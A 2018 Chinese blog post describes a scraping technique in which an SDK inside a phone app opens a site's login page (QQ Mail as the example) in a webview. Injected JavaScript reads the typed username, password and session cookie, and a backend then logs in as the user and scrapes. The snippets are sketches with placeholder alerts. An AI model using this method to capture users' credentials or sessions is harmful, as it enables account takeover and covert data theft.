记一种新的爬取方式

2018-05-24  本文已影响0人  蜘蛛和蚂蚁

在做竞对调研的时候,发现了一种新的爬取方式,印象深刻。

具体就是通过SDK的方式集成到用户的手机APP里面,然后通过控制webview来打开想要爬取的相关网站的登录页面,在用户完成登录页面之后,获取登录完成的cookie,传给后台,进行后续爬取。

这种方式最大的好处就是目前应该没有方式可以防止这种爬取方式,相当于是用户自己在手机上做了一次登录,获取到的设备指纹与平常的都是一致的,比较适合那种登录方式校验比较严格且经常改版的网站。并且给用户的感觉会比较安全一点,虽然通过SDK也是可以拦截到用户输入的用户名和密码。劣势在于需要集成SDK。

这种爬取核心的点在于webview跟javascript之间的交互,好在本身android/ios就提供这种能力

首先在页面上面通过JS操作webview loadUrl 打开相应的登录页

用户操作时,可以通过监听事件或者判断URL来进行相关的调用给原生,用于留存数据或者获取cookie,具体是在页面加载完成之后执行某一段javascript完成的。
android代码如下:

setOnWebViewClientListener(new BaseWebViewFragment.OnWebViewClientListener() {
                @Override
                public void onPageFinish(String str) {
                    this.fragment.handler.post(new Runnable() {
                        @Override
                        public void run() {
                            WebViewOfficialH5Fragment.loadJs(js);
                        }
                    });
                }
            });

QQ邮箱示例javascript如下:

(function() {

    var go = document.getElementById("go");

    if(go){

        go.addEventListener("click", function() {

            var u = document.getElementById("u");

            var p = document.getElementById("p");
            //调用原生保存用户输入数据
            alert(u.value + "" + p.value);

        });

    }

    var submitBtn = document.getElementById("submitBtn");

    if(submitBtn){

        go.addEventListener("click", function() {

            var pwd = document.getElementById("pwd");

            alert(pwd.value);

        });

    }

    alert(location.href);

    var reg = /w\.mail\.qq\.com\/cgi-bin\/today/i;

    if(reg.test(location.href)){

        //调用原生保存cookie
        
    }

})()

在客户端接受到cookie之后,通过异步的方式,把Cookie传递给后台,后台进行登录,完成之后进行爬取,客户端通过轮训接口获取爬取状态。

上一篇下一篇

猜你喜欢

热点阅读